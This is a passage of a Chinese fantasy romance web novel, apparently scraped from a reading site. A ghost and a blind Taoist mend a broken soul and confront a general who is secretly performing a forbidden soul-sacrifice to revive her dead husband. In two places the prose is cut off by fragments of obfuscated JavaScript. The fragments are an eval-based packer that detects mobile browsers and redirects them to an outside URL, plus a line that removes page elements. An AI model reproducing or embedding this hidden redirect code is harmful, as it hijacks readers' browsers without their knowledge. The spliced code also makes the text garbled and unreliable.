闻砚感觉自己好像领悟到了什么不由微微扬起头,放低了声音劝他,“阳气还可以再商量,你若不方便我也可以日行一善,她一个凡人,还是嗯……”她想了想,捋顺了其中蹩脚的关系,“我的主顾的前老情人,她若是死了,我这一单生意可就没得做了。” 见长离眉宇间露出些许踟蹰,闻砚顿时喜上眉梢,乘胜追击道:“不论她说了什么让你生气也是听说的,又不是她本人的意思,你不能食材不好怨厨子。我听说修道之人也是有功德计数的,杀生要扣很多很多功德……” 离开祠堂没有阵法压制,闻砚的法力又重新回到身体里,声音也恢复了之前的柔顺,胡言乱语地叫道:“心肝儿,宝贝儿,甜蜜饯儿……” 长离可能自打出家以来就没遇到过这架势,耳尖红得能滴出血来,同杨浅道:“罢了,先保这孩子小命要紧。你找点亢木的叶子煎水给她服用,一钱叶子三碗水大火煎成一碗水,一日三次灌服。屋里不要再熏艾,她这不是病,明日亥时我再来看她。” 说罢拎着闻砚的袖子生拉硬拽得将人带出来。 二人一路上都没有讲话。 莫名其妙! 闻砚毫不避讳地翻了个大白眼,就在她以为长离不会再和她说话时,这人冷不丁开口:“你觉得我为什么生气?” 啊??? 这牛头不对马嘴的疑问句是从何说起啊? 闻砚心累,闻砚困惑,闻砚无语。 半天没得到回复的长离不死心,一字一句地又重复了一遍,“我、为、什、么、生、气?” 实际上他不仅生气,还气得心角痛。 心想,真该敲开这姑娘的榆木脑袋看看里面是不是装得都是水,不然为何别人的命是命自己的命就不当命了? 闻砚则是丈二和尚摸不着头脑。这位仁兄,你为什么不高兴我怎么知道?我难道是你肚子里的蛔虫精吗? 想到缠绕打结蠕动的蛔虫,她情不自禁地抖出一身鸡皮疙瘩。 神经病吧!!! 闻砚在心中大骂,仗着对方看不见,再次赤裸裸翻了个白眼,语气不耐烦,“傻子都看得出来你方才因为杨浅冒犯你家老祖陵光神君,哇得一下子生气成那样。”本想说瞎子才看不出来,但鉴于对方是个真瞎子,再说这话难免有嘲讽的嫌疑,于是话到嘴边拐了个弯,“你满脸写的都是生气。” “你!!罢了,” 长离一脸难以置信,惊奇世界上居然还有如此迟钝之人,又想到此时此人已做了鬼,魂魄不全,属于天残人士需要特殊照顾,与她计较属实是自找没趣。 这般哄好了自己,长离觉得气顺了许多,说话便也温柔了许多。 “你要那么多钱做什么?你很缺钱?” 这话问得妙哉,闻砚以为长离终于看中了自己的手艺,想要和她谈谈火中取瓶的大生意。 她歪着头眨眼,“不贵不贵,道长先生借我三日阳气也可以的。” 虽然是正经借法,但是鉴于她学画本子里的女妖精学上瘾,一时没改过来,以至于不论是说的人还是听的人都觉得这件事不是那么正经,所以气氛再次陷入僵局。 僵持得久了自然是要脸的人先受不了,“我住西边的院子里,院中有一棵至少八百年的槐树。” 长离没头没尾突然蹦出这句话,闻砚一时还有些转不过弯来,他这是怀疑自己是槐精? 她才不是那种没品位的家伙好吧!! 额…呵呵呵,她全当没听见,继续沿着抄手游廊同手同脚地往前走,游廊绕湖一周,她走啊走,走啊走,眼看着抄手游廊都快走完了,抬眼一瞧总觉得差点什么。 差点什么呢? 闻砚环顾四周,这才发现这位白衣道长不仅压根儿没跟上,还在立在原地半步没有动弹。 一人一鬼隔着大半个人造湖,好半晌,闻砚终于后只知后觉地反应过来。西厢背朝阳而迎落日,聚阴,槐树性凉喜阴,又被称作鬼木,是除了北边的祠堂之外对冥鬼之躯次要好的地方。 这厮是在邀请自己吧? 她不确定地颤颤巍巍道:“小道长是邀请我和你一起睡觉吗?” 长离瞬间就悟出一个人间真理——这个世界上如果人人都能学会少说话就再好不过了。 尤其是闻砚!!! 但毕竟是人美心善的长离道长,他解释:“我是说杨氏祠堂不吉利,你别去了……” 这倒是,谁家好人能设下那 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长离的心底里悄然涌入一丝涟漪,他知情识趣,一手接过闻砚撑着的黑色琉璃伞,一手递上盛满露水的碗。 “扑通”一声,干掉渣的破木头被小心翼翼地扔进准备好的那碗净水中。 枯木逢春,原本像一节随时可以进灶台里添砖加瓦的烂树枝在接触到五根水后立马容光焕发,如垂垂老矣的老妪瞬间化作身姿曼妙的少女。 闻砚大喜,抬头素着一张脸夸奖帮她撑伞的长离,“这净水居然是最难得的晨露!!小道长你真够意思!!你放心,欠你这一回我以后一定想办法还你这人情。 我在忘川城有间酒肆,里面酒水不错连神仙都惦记,你得空来喝酒的话通通不要钱。” 长离挑眉,“哦?酒肆叫什么名字?都有什么神仙爱去?” 什么神仙啊……其实她那里都是些不入流的小仙光顾,吹牛的闻砚有些许心虚地低下头“忙忙碌碌”。 不对! 电光火石间她好像想起点什么,临出门前砸场子的那两位……用他们做做宣传应该不算虚假宣传,虽然没喝酒但毕竟真的光顾酒肆了…… 短暂地说服了自己的良心,话再出口就变得顺溜了许多,“就叫有间酒肆,沧溟仙君和执明神君都很喜欢。” 头顶的琉璃伞轻轻晃了晃。 闻砚并没有在意。 她一门心思地拼云岫拼图,埋头苦干,也不知是不好意思还是太过专心,压根儿没看见捏着伞柄的手指霎时间变得苍白。 晨晓渐近,补魂也到了关键的时刻,长离没有再问,撑着伞陪着闻砚聚精会神地修补云岫的魂魄。 她心无旁骛地催动法力将它们凝聚成火缓缓汇聚掌心,一边伸直双手在盆中拿着黏腻拉丝的新鲜树皮揉搓,一边用嘴叼着树根在碗中来回搅拌。 如此反复百十次,方才生机勃勃的返魂木枝渐渐在掌心热力的催化下化做一盆黏黏糊糊的浆糊。 少女的神色沉沉如水,细腻光洁的额头在皎皎月光下沁出细密的汗珠,兴许她自己都没察觉到,或许也不甚在意自己形象全无,满脸浆水很是狼狈。 直到用那盆浆糊一点一点沾匀云岫的魂魄,她绷着的心终于落地,露出一个很得意的笑容,抬手用那精致到用金丝银线缝制的袖口去擦汗,仿佛曾经这样做过千百次一样熟练。 晨光熹微,金丝遍野。 清晨第一缕阳光升起时,原本破破烂烂的云岫终于被修补好重新聚成一个整体,闻砚拎着他的发髻迎着晨风吹了又吹,勉强稍稍吹干了一点魂魄上挂满的木浆糊,让他至少看得出有个人形。 忙活了大半夜的姑娘扶着腰直起身,“老了老了,真是上了年纪不能熬夜,皮肤都会熬坏吧……”她絮絮叨叨,打着呵欠道:“劳烦道长找个晾衣服的架子帮我把他阴干,拿小夹子夹住挂上不让风吹跑了就行,我实在困得不行了要歇一歇……” 话音未落,闻砚忽得眼前一黑,两腿软得像面条站都站不稳,开始原地打转。 遭了! 她立时心中一凉,她这哪里是困了,明明是在人间使用补魂术,法力透支,玩脱了…… 昏昏沉沉间,闻砚跌进了一个温暖的臂弯,失去意识前,她再次闻到了那股熟悉的水木气息。 真暖和啊,她想。 9. 离它远一点 一直到子时的钟声敲响,许久没有这么安稳睡觉的闻砚才悠悠转醒。 然而醒来的闻砚第一件事就是发出了一声惊天地泣鬼神的“卧槽!!!!!” 女郎吓得花容失色!! 闻砚难以置信自己体内居然重新变得阴阳调和,灵力充沛。 然而想到千千万万中可能中情况最差的一种,她觉得自己还能死一死。 为什么!为什么要这样对待她!!好不容易有机会和漂亮的人巫山云雨,为什么要在她昏睡过去的时候啊喂!!她恨不能再昏一次重新体验长离美好的□□。 那边长离端着汤还没进门便听见一个姑娘一会儿嘿嘿嘿傻笑,一会嘤嘤嘤地怪叫,即使看不见他也能想象此刻的闻砚恐怕皱着一张包子脸在满床打滚儿。 他突然觉得很有趣,决定逗一逗她,省的这小丫头总是一副没正形的样子。 他食指微曲,推门而入。 看见长离就这样旁若无人走进来闻砚更是不得了,一下子从床上弹起来,指着他诘问,“你你你……” 你了半天,看着他只可远观不可亵玩的那张棱角分明的脸,“登徒子”三个字突然卡在嘴边说不出口了,最终变成了,“你怎么不敲门?没看见我已经醒了吗?” 长离一板一眼,“我看不见。” 得,这话无异于问一个连肉沫子都没见过的老农为何不以肉汤充饥,都是混账话。 闻砚自知理亏,转移话题,“道长先生,你不能乘人之危!”企图用对方更理亏的问题来掩饰自己心虚。 谁知道对方并不理亏。 “哦?”长离挑眉,语气不见波澜,“我如何乘人之危?” 他不问还好,这一问闻砚即刻炸毛。 心道,这道貌岸然的伪君子,看本姑娘替天行道来戳穿你的画皮! “你……你你,你怎能趁我精力不济昏睡之时和我行周公礼!!至少……至少要等我醒来,不然我都没感觉,多遗憾啊……” ?????? 长离知道闻砚一向有些不要脸,却没想到多年未见,竟还能不要脸出另一个新高度。 也是个鬼才啊。 他算是服了,比不要脸他自愧弗如。 长离捏着眉心一脸无奈,“让渡阳气又不止那一个法子,法力压制即可,你平日里学的东西都学进狗肚子里了吗?” 说着将手中的锦囊递给闻砚,“魂魄昨日已经晾干了,还不太能恢复灵识,你先拿回去养养。” 哦。 闻砚听见那句“法力压制”时肉眼可见地嘴角向下,一脸失意。 她接过锦囊松开囊口,果然云岫的魂魄晃晃悠悠从袋中飘出来,看起来虽然不太灵光,倒是也踏踏实实能动能跳,应该问题不大。 不过有点可惜,这种受损的魂魄将养再久也就那样,以后也没有转世轮回的机会了,毕竟能恢复到从前已经是不幸中之大幸。 二人说话间,长离心中突然涌入一丝很不好的预感,下一秒,闻砚便当着他的面一个踉跄向前扑去,似乎被什么东西压制住,膝盖一寸寸朝地面压去。 她艰难地用手肘死死支撑住身体让自己不至于太狼狈,整个人却不受控制地颤抖。 长离听见动静,担忧地要扶她,却被她低声喝住:“别碰我。” 刚开口,一口红里透黑的鬼血喷薄而出。 长离身形一滞,又听闻砚咬牙道:“快去追云岫。” 他方才注意力全在闻砚身上,听她这么一说才发现云岫已经被一双无形的大手抓出十几米远。 可闻砚这个样子他哪里还顾得上什么云岫,他只听见闻砚死死咬牙的细碎声便心慌地不知所措了。 怎么办?该怎么办? 他绝不能再失去她了。 长离绝望地想着,什么也顾不上,一把抄起闻砚一手托膝一手抵背,将人死死按在胸前。 强大而充沛的灵力瞬时如潮水泉涌灌进闻砚的体内。 要被撑爆了。 闻砚痛苦地想着,下意识伸手推开贴着自己的炙热滚烫的胸膛。 然而拥着她的人寸步不让,不仅没松手反而将她往怀里带了带,压得更紧,闻砚甚至能清楚地听到他的心跳和呼吸。 头顶传来因为法力外泄暴走而痛苦颤抖的声音,“乖,不会有事的。” 不知是安慰自己还是安慰她,总之强行灌入的法力的确没有把她炸成碎片,而是诡异地替她解开了身体的束缚,短暂地压制住她身体的异常。 她再次夺回了身体的控制权。 闻砚的手指几不可见地微微动了动,碰到手边一处冰凉的物件。 她懵懂抬头,撞上一个刀削斧凿般的脸庞,锋利的下颌,紧抿的薄唇,浓密的睫毛,丰神俊朗,似曾相识。 “你的伞,拿好。”似曾相识本人道。 伞?什么伞? 哦,对,她那把可以短暂蒙蔽天地的琉璃伞。 闻砚回过神,探手接过伞柄,阴气重新在她身边聚拢,再次被浓郁阴气包裹住的她幽幽吐出一口浊气,恢复了往常的清明。 她看着长离身上那件被血渍染黑了一坨的外袍,轻轻地,轻轻地吐出两个字,“多谢。”神色早已恢复如常,若不细看根本看不见那秀气如珠的耳垂此刻红得滴血。 当然,长离什么也看不见,听见闻砚没什么大碍,他心中一松,想起正经事,抬脚就要朝云岫飘出去的方向追去。 能从两个有修为的人面前将人掳走,可见此事非同一般,闻砚怎么放心他一个人。 “我在云岫的魂魄里下过跟踪咒,我跟你去。” 这事儿急切不等人,由不得二人你推我让,长离点点头,一人执剑,一人抱伞视院墙屋顶如无物,在夜空中奔袭。 ——— 此时整个都护府被巨大的法阵笼罩,周遭阴风四起,天际一片猩红,别说人影,连鬼影都瞧不见一个。 闻砚描述看到的四周环境给长离听,“这里设了上古时期的法阵,我瞧着很是邪门,只留有西南角一处生门,但有浓重的妖气环绕,不像是寻常的结界或是除祟的缚妖阵,倒像是献祭的邪术。” 祭天祭地祭鬼神,祭活牲祭活人,都是祭术,可能被称为邪祭的唯有祭魂术。 长离的神色一凛,好看的眉头皱得能夹死一只苍蝇,冷冷地从牙缝里挤出两个字,“果!然!” 闻砚的脸色也好不到哪里去。 人有恩怨活着的时候解决,任凭是碎尸万段还是挫骨扬灰自有一番说法,死了连魂魄都不放过的就多少没有道理了。 可见布阵的人已经被仇恨蒙蔽失去理智。 二人心情沉重,然而越是逼近,闻砚心中的不安就越大,这里是……她为了防止自己看错奋力揉了揉眼睛,“是杨氏祠堂。” 不,准确来说,是杨氏家祠里藏着的那个密室。 她看了看身边面无表情的长离,见他情绪还算平稳,应该不会像上次一样一言不合就发疯,于是决定与他一道前往。 一人一鬼沿着长长的甬道一路向下。 不知道是太黑了还是整座建筑密不透风,越是深入越是让人直冒冷汗。 “呵呵,”闻砚尴尬地笑笑,企图掩饰自己的心虚。 “笑什么?”长离不解,他“噗”得一声打了个响指,顺手将食指指尖燃起的一小簇火递给身边的姑娘。借着微弱的火光,这一次不是被迫“滚”下来的闻砚看清楚了四周的环境。 甬道由等人高的青石板铺就,一层压着一层直通地底深处,四周的墙壁上则是由陶土烘烤,再用岩彩装饰,规格堪比皇室陵墓。 五颜六色的岩彩在火光映照下散发出诱人的魅力,吸引了闻砚的注意力。 “有壁画,”她惊喜地将指尖的火焰推近甬道两侧的岩壁,“看起来有上千年了还能保存得如此完好,人类的智慧真是神奇,让我看看这上面讲的故事是……” 闻砚的笑容僵在脸上。 人牲祭天图,天降玄鸟图,天女下凡图,子昌繁盛图,六界混战图,真神陨落图,饿鬼分食图,太公布阵图…… 一幅连一幅,讲的是一个完整的人弑神的故事。 虽然心中早有推测,但是当她发现密室魂坛里封印着的那个倒霉蛋真的是个神的时候,心中还是涌上一瞬间的怅然若失。 闻砚抚摸着昔日精绘的岩壁,很是惋惜,“火纹,天女,凤尾,被封印此处的看来应该是武神朱雀了。”她摩挲着壁画上天女早已脱落颜料的脸颊,心中不知是可怜更多还是可爱更多,“这位陵光神君也真是倒霉,好端端被卷入六界混战,身首异处不说,最终长眠于这么个小破罐子里给旁人当了几千年的镇宅家仙,哎……” 神明诞生于天地,每一位都有救世之能,而能年纪轻轻做到护佑一方平安的武神就更是凤毛麟角,如今却被囚困于一方伸手不见五指的密室,确实称得上奇耻大辱。 “里面只是她的一缕精魂而已,不是本体。” 一向不干己事不开口的长离淡淡出言反驳道:“一群生命只在须臾的凡胎,哪有什么本事弑神,落井下石背信弃义之徒罢了。” 他难得说这么多话,闻砚当然不和他一般见识,“是是是,陵光神君是你供奉的老祖,肯定是最厉害的。” 她本想和他解释一二,自己只是替这位神明感到可惜,并没有什么不敬的意思。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15363386|168128||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >然而转念一想,在一个人面前一定不能骂的人是谁?不是父母,也不是伴侣,而是他心心念念奉上神坛的偶像啊。 于是立刻便歇了这心思。 毕竟父母也有对孩子非打即骂的时候,伴侣也不是时时刻刻都好得如胶似漆,唯有偶像不一样。 试想有一个你从没见过的人,你觉得他品行高洁,如玉如兰犹如天边皎月,然而这一切都是你以为,你假想出来的完美,实际上他可能如厕不用纸。而这些问题因为你看不见,所以不存在,他永远是那个你心目中完美无瑕的人。 好吧,这实际上是个哲学问题,假设一个盒子里装着一只猫,但在没打开盒子之前便谁也无法判定这个盒子里一定有一只猫。 眼看话题越扯越远,闻砚突然反应过来,这哪里是什么偶像,豁出去到这份上,得是心爱之人吧:“你来杨家,连这半仙的修为都不要了,就是为了陵光神君的这缕精魂?” 她没敢说美人枯骨,这位神君怕是早就烟消云散归于天地了,怕长离一巴掌拍死她,于是搜肠刮肚勉强换了个温和点的措辞,“实话告诉你,她都死了几千年了,值得吗?” 然而长离提到心上人,刀削斧凿般刚烈的面孔都变得温柔起来:“没什么值不值得。” 操!! 闻砚很想问一句“图什么”,可惜对上长离道长那张冰清玉洁的脸蛋,她不禁有些讪然,觉得很没有意思。 情情爱爱,总不过是这些,道士也不能免俗。 不过人爱上神女也挺神奇的,谁会爱上一个根本不存在死了千万年的塑像啊? 这人指定脑壳有包。 通情达理的闻砚大人觉得自己也不必请这脑袋不清醒的人去酒肆喝酒了,还是快点和他划清界限,远离红尘为妙,“我帮你拿到魂瓶,就算做还你的净水。” 另一边一直被迫漂泊的云岫似乎渐渐慢下来,最后停在一处不再移动。 闻砚通过咒术感受到他的位置,目光一沉,转头和长离说:“云岫在祭坛上。” 和上次一样,祭坛上的魂瓶依旧安静地躺着,唯一不同的是这一次魂瓶的旁边躺着一位妙龄少女。 待看清少女的模样,闻砚不禁奇怪,“云岩?” 那云岫呢? 云岩却看不见闻砚,只能看到一个执剑的白衣道士犹如天神降临。 她仿佛死里逃生抓住了一根救命稻草,睁大双眼望着闯进来的长离,满脸惊恐的泪水,可惜因为法术限制一个字都说不出来,只能用眼神示意他往上看。 小姑娘几番示意却没见长离理会,终于后知后觉发现自己是媚眼抛给瞎子看,白费功夫。 天爷啊! 她泪流满面,绝望地阖上双眼。 闻砚则顺着云岩的目光抬头一瞧,正看见云岫的魂魄被束缚在穹顶,一股巨大的无形力量夺取了他四肢的控制权。 她赶紧掏出葫芦宝瓶,上前一步喝道:“云岫,回来,”管他什么情况先把人夺回来再说。 云岫的魂魄立刻随这一声呼喊丝滑地收入瓶中。 方才还来势汹汹的献祭仪式因为失去目标明显开始变得萎靡不振,像个失去糖果的孩童,茫然不知所措。 这破阵,是不是上了年纪,这么容易就坏了? 闻砚腹诽着,又往前走了一步。 可惜也仅仅只走了一步便有人拽住她的衣袖,她回首一瞧,不是长离是谁。 他一把捉住准备上前的闻砚,皱着眉问她:“干什么?” 这话问的妙,在这种闯别人家地盘砸人家场子的情况下,除了速战速决地救人之外还能干什么? 要放在以前,闻砚肯定是刨开扒拉自己的爪子还要当着人家的面翻个死白眼以示不满,可惜她遇到的是长离,一个哪里都长得合乎她心意,哪里都好看得不像话的人,她舍不得甩开。 她“哈哈”开着玩笑,“道长这么担心我,真的不考虑与我双修吗?虽说我不是活人,但是鬼修也是修嘛,独修修不如众修修……” 见长离不说话,她又开了个地狱玩笑,“你该不会以为我是要到祭坛上面去一鬼换一人吧,哈哈哈哈哈,我才不会,那只是一条普通的绳子,我只要施个小法术就可以……” 长离却并不觉得好笑,他非常确信以及肯定闻砚方才就是这么打算的。 “总之,你离祭坛远一点。”他一把将人拽到自己身旁,抬手起势,如岳峙渊渟。泛着红光的宝剑出鞘,凌厉的剑锋扫过祭坛,直指黑暗深处,“滚出来!” 隐匿在阴影里的人沉着脸站出来,负手而立。 不看不知道,一看吓一跳,闻砚捂着心口一脸不敢相信。 “居然是你?” 10. 烩成一锅粥 闻砚还真没想到幕后之人居然会是杨浅。 主要是但反是个正常长脑子的人绝对干不出这事儿,谁家好人在自己家里搞这么邪门的仪式,这是怕自己人团灭的不够快吧? 杨浅深邃的五官在似明似暗的光线下显得格外阴翳,她望着长离,“你要的东西是我杨家秘宝,我答应过你只要治好云岩,自会按照约定将宝物亲手交给你,道长又何必心急,坏我好事。” 她说是这么说,然而说时迟那时快,抄起胸口的护心石用力一捏。 不愧是久经沙场的将军,打起架来根本不讲武德。 密室里古老的禁制再次被启动,好消息是,不是上次的熊熊烈火,但坏消息也很明显,四周罡风猛吹,刮得人睁不开眼。 便在这无数堪比利刃匕首的风刃下,一杆破地长枪直劈长离面门而去。 凡人手段于修士而言不过是雕虫小技。 长离极冷淡地从鼻腔里“哼”了一声,双指并拢结印,单手起势,瞬间有一双无形的大手扼住杨浅的咽喉,下一秒便能扭断姑娘的脖子。 然而那枪却在一瞬间改变了方向猛得朝站在一旁观战的闻砚扎去。 杨家世世代代清正,最看不上妖鬼邪神。 若是长离索要的只是金钱财物,杨浅觉得道士道心不稳算不得什么了不得的事情,可长离要她家供奉的家仙,她就不得不留个心眼了。 此时见他带了个鬼在身边还有什么不清楚的,想到史料上记载的养小鬼的法子,“妖道想拿我杨家的东西炼小鬼,你做梦!!”她冷冷道。 误会!都是误会! 被养的“小鬼”本鬼心中哀嚎。 可惜这一切变化都发生在须臾,一来闻砚压根没想到杨浅能看破自己的隐身术,二来她也不知为何一进入这破阵就法力尽失,只能凭借本能硬着头皮徒手接下这一枪。 然而人倒霉的时候喝凉水都会塞牙,此情此景便是这个道理。 扎她那杆枪不是杨浅常用的那把点卢长缨,而是当年六界混战时,杨家先祖弑神用过的那把沾过朱雀神血的凶煞,闻砚一个冥体鬼胎在这杀器之下犹如纸扎的娃娃,根本不堪一击。 皮肉被利刃划开,“噗呲”一声,枪头没进少女的胸堂将她死死钉在墙壁上扎了个对穿。 雾草!!!闻砚心中直骂娘,这到底是哪个龟孙砸布得阵法,如此凶悍,这是特意要她狗命的吧! 头上的琉璃伞也不受控制地落地发出清脆的泠泠声。 听见动静的长离有一瞬间的手抖。他眼前一片虚无,什么也看不到,只能空洞地朝着闻砚问,“可还好?” 平淡的语调里偏偏让闻砚听出来两分急切。 没有鬼回答。 闻砚倒也不是故意不出声任凭别人担心着急来证明自己在别人心中的地位,她很想说,“我很好,我没事”,以安对方的心。 可惜天不遂人愿,那枪不偏不倚正正好好扎在她心口,这也侧面反映了杨浅的确是个很好的武者,像云岫讲的故事里那样,练功时寒九酷暑都不曾懈怠。 但这份不曾懈怠此时落在自己身上就不怎么好受了,她虽然早就失去心脏的实体,但大体感觉还是相同的。 闻砚此刻痛得一咧嘴角就只剩下“斯哈斯哈”,她虽然平日里不甚在乎,但是行走江湖脸面也颇为重要,因此并不想让长离听见自己的狼狈。 正思考怎么能既不让长离察觉,又能赶紧解决眼下的烂摊子,那头没得到回答的白衣道长眉宇间渐渐浮现一丝隐约的烦躁。 闻砚暗道大事不妙! 她来不及多想,赶紧将那杆长枪从胸腔里扯出来。 可这属实是此时无声胜有声。 因这密室造得实在精妙,可以称得上是密不透风,平时简直是遮天蔽日的好去处,此时没人说话时就略显沉寂。 长离更是个眼盲的修道者,听力高出普通人几层楼,那“斯斯拉拉”血肉横飞的声音简直像是贴着他耳边摩擦。 “呵!” 他语气陡然充满森然冷意,肃杀之气凝结成无数利剑朝着杨浅呼啸而去。 完了完了! 这人怎么一进这间密室就发疯啊?密室里难道也有什么针对他而设的隐秘阵法吗? 闻砚急得满头包,想到曾被他一掌拍得稀碎的云岫,似乎预见了在这剑雨之下被刮成碎片的杨浅魂飞魄散的下场。 她顿时冷汗直流,哪里还顾得上自己胸口上将将被扎出的窟窿还在花花冒血泡,素手上下翻飞光速掐出一个“止”字诀,从中调停大喊道:“冷静冷静!!” 然而她的法力被阵法压制,一字诀徒留下一句“冷静”在空气中飘荡,此时箭在弦上,哪里是一句冷静便可收回的。 就在长离操纵的无形剑气要将杨浅人脑袋削成狗脑袋的千钧一发之际,闻砚不得不召唤,“阿三!”,周身金光青火的三青弓以盘龙之姿登时出现在主人手中。 “好阿三!辛苦你了!”闻砚抚摸着弓身以做安慰,随即屏息提气,垫脚上行,一手起风推开祭坛上的云岩藏在贡桌下,另一手持弓站在杨浅面前与长离的剑意短兵相接,刹那间的交锋如日月同辉激发出巨大的力量,以毁天灭地之势迅速席卷四周。 庞大而炫目的白色光球瞬间笼罩了整间密室,越嘭越大越嘭越大,誓要将在场的人都压成碎片。 好在这古老的阵法既然能镇神魂,自然也不会那么好冲破,顺势幻化出一只血盆大口,如滔天巨兽一口吞掉这巨大的光球。 “铮—” 一切归于原样。 好险好险! 闻砚心有余悸,还好被她过去听阿金念叨过无数阵法的渊源,一眼便看出这个法阵是个能吞噬万物的饕餮,遇强则强,多大的能量都能吞噬转化,这才没有酿成大祸。 她神神叨叨念了两声“功德无量”,收起阿三,催动法术主动露出法相真身。 “啊哈哈,不要紧张,也不要在意我,主要是我觉得有什么问题还是当事人见面一起说清楚,不要打打杀杀,啊哈哈哈,你说是吧”,她尴尬极了,“哈哈哈”得拍了拍腰间的葫芦宝瓶对里面装着的云岫道:“借你片刻身体。” 说话间打开瓶盖,再将袖子里一只黄澄澄的冥纸纸人甩向空中,接住云岫破破烂烂的魂魄。 犀角的香气逐渐在空气中弥漫扩散开来。 一时间密室里三人两鬼,显的十分拥挤。 “要不……咱们换个地方说话?” 闻砚很贴心地提出建议。 ——— 一行人再次回到熟悉的祠堂里。 这一次终于像戏文里写的一样,作为故事主角的云岫和杨浅紧紧相拥,尽管杨浅撩起袖子擦了三回眼泪,泪水还是打湿了云岫纸折的肩头。 闻砚隔空观望着,突然感觉自己好像也曾拥有这般感情一样,心中涌入无限酸涩与欣喜交织的复杂情绪。 她心中暗暗吃惊。 这趟出门自己已经不是第一次感受到“情绪”的存在,这些情绪的频繁出现让她本能得感觉到不安,却又止不住地好奇。 她的过去,是不是也和此时此刻一样经历过情深意重与久别重逢呢? 她不知道,她不记得了。 如果每个人都有一个装载着过去记忆的瓶子,那闻砚的记忆瓶子一定被什么人砸了个大洞,之后不论她怎么填补最后都会像破碎的沙漏一样跑个精光。 过去的千年岁月,她以为早已在日复一日的失忆中习惯了这样的自己,可如今她不确定了,倘若人一定要有什么过去,记得自己从哪里来到哪里去,那她这样算什么呢? 一抹无法消散的意识吗?还是一簇挣扎前行的执念呢? 闻砚并不知道,直到有水珠凝聚沾湿了她的前襟,她顺着水汽抬手摸上自己的脸颊,摸到几分濡湿,这才恍然大悟。 原来哭是这种感觉。 她感觉自己空荡荡的身体里并不存在的心脏似乎被什么力量包裹着,越裹越紧,似乎要将她一寸一寸连皮带骨地碾碎,最后一把尘土扬个干净。 好在她被压得喘不上气的最后一刻,那把黑色琉璃伞再次及时雨地出现在她的头顶,有聚阴伞的阴影笼罩,闻砚如竭鱼入水,暂时得以喘息。 这伞来得微妙,介入时间简直是掐算着来的,多一秒窒息,少一秒又感受不到窒息,非得这伞生出灵智与主人心意相通,亦或者持伞人与她心意相通…… 难道她的法力回来了?闻砚不由抬头,“啊哈哈…谢谢啊,哈哈哈”,她想多了,伞不知何时又跑到了长离的手中。 而另一边的两只苦命鸳鸯早已抱在一起难舍难分。 “阿浅,闻砚大人是好人,你错怪她了。” 云岫轻柔地替杨浅抹去泪珠,丝毫没有在意自己被水浸湿后变得皱皱巴巴的手指。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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感情这姑娘是个死脑筋,活人死了,魂魄轮回,万事万物的变化规律都是这样,你接受就接受,不接受也得接受,因为天道无情,想要逆天改命是要付出极大代价的。 “我不在乎!我什么都不在乎!我们杨家人一辈子杀孽深重,死了入阿鼻地狱还是受酷刑鞭笞我都不在乎,我就活这一辈子,我只要他。” 这样不计后果,只为须臾的快活? 闻砚不能理解,心里觉得不可置信,问道:“所以你就施展禁术?那又为什么选择云岩作为云岫魂魄的容器?” 她不是个姑娘吗?还是个对哥哥情深意重的好姑娘。 然而对于杨浅来说,什么世俗的约束和偏见,都是放屁。 她有自己的理由:“女人又如何?他是男人我爱他,是女人我依然爱他,他死了就算是鬼,我照样爱他。” 女人的眸光微微扫过云岩干净的脸庞,冷冰冰的目光泛着森森含义还有怨毒,“要不是她是唯一一个干净的人,要不是她和云郎一母同胞,我岂会容她活着?” 听她这样毫无歉意,一旁一直默不作声的长离冷不丁冒出一声冷笑,“你们杨家人还真是一脉相承的喜欢给自己脸上贴金。”毫不客气地戳穿她,“你选她是因为她和云岫的血最接近,一母同胞,同宗同源,以保证换魂之后不会排异。” 岂料他这么说,并没有让杨浅感到羞惭。 相反,她挑着眉看向长离,语气冷淡又疏离:“一个对死去的兄长毫无手足情谊的人,若不是看她年纪轻还有点用处我岂会好生生养她一年多?实际上她应该感谢自己还有点用处,不然当时也是该和上清云氏的子孙后代一起死个干净的。” 一旁的云岩快被吓吐了,一向和蔼可亲的亲嫂子要她小命,没见过几面的亲哥哥死而复生,旁边的漂亮女鬼胸口还挂着个血淋淋黑洞洞的大窟窿。 她左看右看,最后瑟缩着躲在了看起来面冷心冷但唯一有点人样的白衣道长身后,梗着脖子一边哭一边道:“嫂嫂,自从云家被灭族,您为了我冒天下之大不韪藏匿府中,精心照顾,您对我如此好,难道都是假的吗?” 话说到这里,杨浅似乎不吐不快,她得意地看向云岩,残忍道:“你知道云家因何灭族吗?云氏那群蠢货,真以为云郎死了他们便能借着夫家的名义毁他尸骨,逼我交还兵权,献出我杨氏一族百战百胜的法宝?” 女人冷哼一声,声音似在冰霜雪刃中刮过,“想死的人多了,我不介意成全他们。他们当日敢对云郎下手,敢对绒城百姓下手,就该想到会付出同样的代价。人杀我,我杀人,这才是道理,这才是公道!” 闻砚简直不知道说什么才好了,人杀我,我便杀人没错,但,“为何要用祭魂术?你知道实施过祭魂术的魂魄是无法转世投胎的吗?” 方才还气焰嚣张的杨浅一下子如遭雷劈,愣在当场,“什么祭魂术?” 11. 人鬼情未了 杨浅在风中凌乱。 她施的是禁魂术,将云岩的魂魄禁锢在身体里,再放入云岫的魂魄,待到几人百年,云岩自然得到解脱。 这怎么会是祭魂术呢? 看她的表情,闻砚觉得自己猜的八九不离十了,问题显而易见,作为这个计划的实施者,杨浅压根不知道这玩意儿究竟是什么。 闻砚指着长离身后的云岩,详细地同她介绍,“这位,如果被强行挤出魂魄差不多就和齑粉没什么两样了,”她又指向云岫,“这位,要是祭魂成功换入生人体内,作为生字簿上逃脱掉的逃犯,上了通缉名册估计要判个回炉重造吧,到时候下场和齑粉也没什么差别。” “至于你,倒是能轮回,不过干涉他人生死,能轮回应该也只剩下什么疯怪病的贱命了,生生世世不得解脱。” 